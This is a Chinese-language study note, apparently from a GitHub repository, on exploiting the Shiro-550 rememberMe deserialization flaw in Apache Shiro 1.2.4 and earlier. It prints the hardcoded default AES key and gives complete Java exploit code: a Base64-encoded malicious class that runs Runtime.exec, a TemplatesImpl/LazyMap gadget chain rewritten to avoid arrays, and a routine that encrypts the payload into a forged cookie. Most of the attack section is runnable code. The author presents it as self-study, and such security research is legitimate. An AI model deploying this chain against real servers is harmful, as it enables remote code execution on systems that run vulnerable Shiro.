Skip to content

Latest commit

 

History

History
351 lines (221 loc) · 14.5 KB

[Java反序列化]Shiro反序列化学习(一).md

File metadata and controls

351 lines (221 loc) · 14.5 KB

前言

看了点Servlet就回来直接看《Java安全漫谈》了,赶紧学点东西,过几天开学回去背sb马原就学不了了。

学习的是**《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》**,因为之前刚把TemplatesImpl动态加载字节码还有它的应用CC3给学了,所以学习一下这篇文章。P神主要的还是结合CC6这个通用链,来对1.2.4及其之前的shiro存在的漏洞进行攻击,其中利用TemplatesImpl来对CC6进行改进。我个人感觉其实叫CC3在Shiro的应用更为确切,所以我也是主要对CC3进行修改。来进行利用。

Shiro的基本了解

关于Shiro第一反应肯定就是rememberMe。了解一下:

为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本及其之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

这个漏洞也叫shiro-550

流程是这样的:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

shiro的特征:

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

shiro<=1.2.4的版本中,这个固定的key位于org.apache.shiro.mgt.AbstractRememberMeManager

public abstract class AbstractRememberMeManager implements RememberMeManager {

    /**
     * private inner log instance.
     */
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);

    /**
     * The following Base64 string was generated by auto-generating an AES Key:
     * <pre>
     * AesCipherService aes = new AesCipherService();
     * byte[] key = aes.generateNewKey().getEncoded();
     * String base64 = Base64.encodeToString(key);
     * </pre>
     * The value of 'base64' was copied-n-pasted here:
     */
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

因为学习环境中加上了CommonsCollections,因此反序列化利用CC。

分析

正常构造POC就是这样:

        byte[] payloads = new CommonsCollections6().getPayload();
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());

得到CC6的字节数组,然后对其进行AES加密再进行BASE64加密,得到payload。这里利用了shiro内置的类进行加密。

然后打过去,会发现报了错:

image-20210824210253718

[L是一个JVM的标记,说明实际上这是一个数组,也就是说不能加载这个Transformer[]

具体出了什么问题不是目前的我们研究的重点,具体可以参考一下参考链接中的文章。

结论就是,shiro的反序列化利用中,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

所以就要想办法利用TemplatesImpl的动态加载字节码来防止出现数组了。

联想一下CC3的后半部分:

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        setFieldValue(templates,"_name","feng");
        Transformer[] fakeTransformers = new Transformer[]{
                new ConstantTransformer(1)
        };
        Transformer[] trueTransformers = new Transformer[]{
                new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

这里也用到了数组,但是只有两个元素,想办法不用数组的简化关键就在于,ConstantTransformer的省略。

为什么可以省略?其实并不是省略,关键就在于在整个CC3中,整个链子调用到了LazyMapget()方法的时候:

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

接下来本来是应该让调用了那个Chainedtransformertransform,然后依次调用数组中的transformer。但是关键是,factory.transform(key)是把key给传了进去。也就是说,其实这个传入的key完全可以代替一个ConstantTransformer。这样一简化,Transformer[]里面只有一个了,就干脆直接用了,不需要用chain了。

既然有了思路,再写一下。首先字节码的处理:

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        setFieldValue(templates,"_name","feng");

然后产生一个fakeTransformers,用来防止在构造的过程中弹了计算器。真正的Transformers不用数组,剩下的直接抄CC3就可以了:

        Transformer fakeTransformers = new ConstantTransformer(1);


        Transformer trueTransformers = new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                );

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
        Map expMap = new HashMap();

        expMap.put(tiedMapEntry,"feng2");

key的话就是本来的ConstantTransformer里面的东西了。

接下来就是把fake换成true:

        outerMap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));

        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,trueTransformers);
        byte[] bytes = serialize(expMap);
        unserialize(bytes);

构造完成!实际上只是在CC3的基础上,把数组改掉就可以了。

产生payload然后去打即可:

package com.summer.cc6;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public byte[] getPayload() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        setFieldValue(templates,"_name","feng");

        Transformer fakeTransformers = new ConstantTransformer(1);


        Transformer trueTransformers = new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                );

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
        Map expMap = new HashMap();

        expMap.put(tiedMapEntry,"feng2");

        outerMap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));

        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,trueTransformers);

        byte[] bytes = serialize(expMap);
        return bytes;
    }
    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

}
package com.summer.shiro;

import com.summer.cc6.CommonsCollections6;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.util.Base64;

public class ShiroLearn {
    public static void main(String[] args) throws Exception{
        createPayload();
    }
    public static void createPayload() throws Exception{
        byte[] payloads = new CommonsCollections6().getPayload();
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());

    }
}

image-20210824212015445

一个小改动就是:

        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();

利用了javassist

这是一个字节码操纵的第三方库,可以帮助我将恶意类 生成字节码再交给 TemplatesImpl 。

很方便了,使用的话直接去maven仓库在pom.xml里写依赖就可以用了。

P神也提到了这个:

Shiro不是遇到Tomcat就一定会有数组这个问题

Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了

总结

也算是第一次接触shiro了,只不过其实只能算最前面的知识叭,因为主要还是去学习CC3的改动(CC6的改动),去了解动态加载字节码。加油加油。

参考链接

《Java安全漫谈》

https://www.freebuf.com/vuls/264079.html

https://blog.zsxsoft.com/post/35